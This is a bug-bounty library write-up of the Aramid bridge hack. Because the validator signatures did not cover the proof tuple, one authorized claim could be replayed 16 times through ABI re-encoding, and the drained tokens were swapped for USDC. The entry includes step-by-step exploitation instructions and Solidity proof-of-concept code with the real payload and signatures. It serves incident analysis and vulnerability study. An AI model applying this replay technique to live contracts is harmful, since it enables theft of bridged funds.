# Aramid bridge: unsigned proof tuple enables claim replay drain

Aramid bridge signed only transfer fields, not the proof tuple; replaying one authorized transfer with re-encoded unsigned proofs paid it 16 times, draining 1.6B aVOI.

- Payout: Real-world hack
- Severity: critical
- Program: Aramid
- Analysis by: DeFiHackLabs
- Disclosed: 2026-11-21
- Write-up quality: 9/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-11/Aramid_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261121-aramid
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic vuln:signature-replay

**Target:** Cross-chain bridge claim() on Base (Algorand/Voi to Base)
**Root cause:** Validator signatures cover transfer fields (id, srcTx, chainId, token, amount, recipient, note) but not the proof tuple, while the duplicate-claim guard keys on the decoded proof. Re-encoding the unsigned proof yields a fresh dedup key with signatures still valid.
**Steps:**
1. Fork Base at block 60542657, one block before first claim.
2. Lift the two public validator signatures and logical inputs (id, srcTx, note, 78-byte proof payload M) from one on-chain claim.
3. Build 16 claims via `_buildClaim(k)` for k in [10,16,15,14,13,12,11,9,8,7,6,5,4,3,2,1], each a distinct non-canonical ABI carve of M (b_len=k, d_len=68-k) producing a unique decoded proof.
4. Call `BRIDGE.call(_buildClaim(k))` 16 times; each releases 99,800,100 aVOI to the signed recipient.
5. Resubmit k=10 verbatim; it reverts, confirming dedup is active and keys on decoded proof.
6. Approve router and swap released aVOI into Uniswap v3 aVOI/USDC pool (1% fee) via `exactInputSingle` for USDC.
**How found:** Recognized that the signature scheme and the dedup guard key on different data: signatures authenticate transfer fields, guard keys on decoded proof. Since proof is unsigned, re-encoding it mints new dedup keys while signatures stay valid.
**Exploitation:** Permissionless claim() lets any fresh contract replay one authorized transfer using only public on-chain signatures. Each replay mutates the unsigned proof tuple's ABI encoding to bypass the dedup guard while signatures keep validating; recipient is signed so all 16 payouts go to the same address from pre-minted locked aVOI (type(uint256).max). 1,596,801,600 aVOI drained, dumped into the real v3 pool for 3,564.80 USDC; per project, unbacked aVOI redeemed for ALGO on Voi/Algorand side.
**Escalation:** Single authorized transfer amplified 16x via proof malleability; drain bounded only by locked aVOI supply; cross-chain redemption of unbacked aVOI for real ALGO on Voi/Algorand side.
**Insight:** When a signature covers a subset of calldata but a replay/dedup guard hashes a different subset, look for any unsigned field the guard consumes; ABI-encoded dynamic types (bytes/arrays) are malleable via length-split re-carving, giving unlimited distinct guard keys from one signed message.

## Proof of concept (copied exactly from the original report)

**Constructed 16 malleated claim replays**

```
uint8[16] memory ks = [10, 16, 15, 14, 13, 12, 11, 9, 8, 7, 6, 5, 4, 3, 2, 1];
        for (uint256 i = 0; i < N; i++) {
            (bool ok,) = BRIDGE.call(_buildClaim(ks[i]));
            require(ok, "constructed claim rejected");
        }
```

**Proof tuple carve builder from payload M**

```
bytes constant M =
        hex"5ac48582510000065901323332303737353430374c435032514434554a4336424d5350464a503251515759504d594b53323334484d4e35534254484950474a3553424f56323650584d5754445559";
    // The two public validator signatures, lifted verbatim from one on-chain claim (reusing these is
    // the exploit; they are not forged and no validator key is used).
    bytes constant SIG0 =
        hex"79e8fb7f51e185c64a7de9da476fa20e8ade32965be31a1370183577cf9f6f7f5bd79952f9061db66111c49c362446c6c96485877d3c5bdb3bd52adc475996af1c";
    bytes constant SIG1 =
        hex"ff3b5a809f5417e85984b8d80506e20fe73295a31ffb4e033b65b671482fa36f6c21069ec4f358e45607c6dc745bc4f3669a6bddccbc33547b9a4aeade3f47c91c";
```

**Dump aVOI into Uniswap v3 pool**

```
uint256 toSell = AVOI.balanceOf(RECIPIENT);
        vm.startPrank(RECIPIENT);
        AVOI.approve(address(ROUTER), toSell);
        uint256 usdcOut = ROUTER.exactInputSingle(
            ISwapRouter02.ExactInputSingleParams({
                tokenIn: address(AVOI),
                tokenOut: address(USDC),
                fee: 10000,
                recipient: RECIPIENT,
                amountIn: toSell,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            })
        )
```

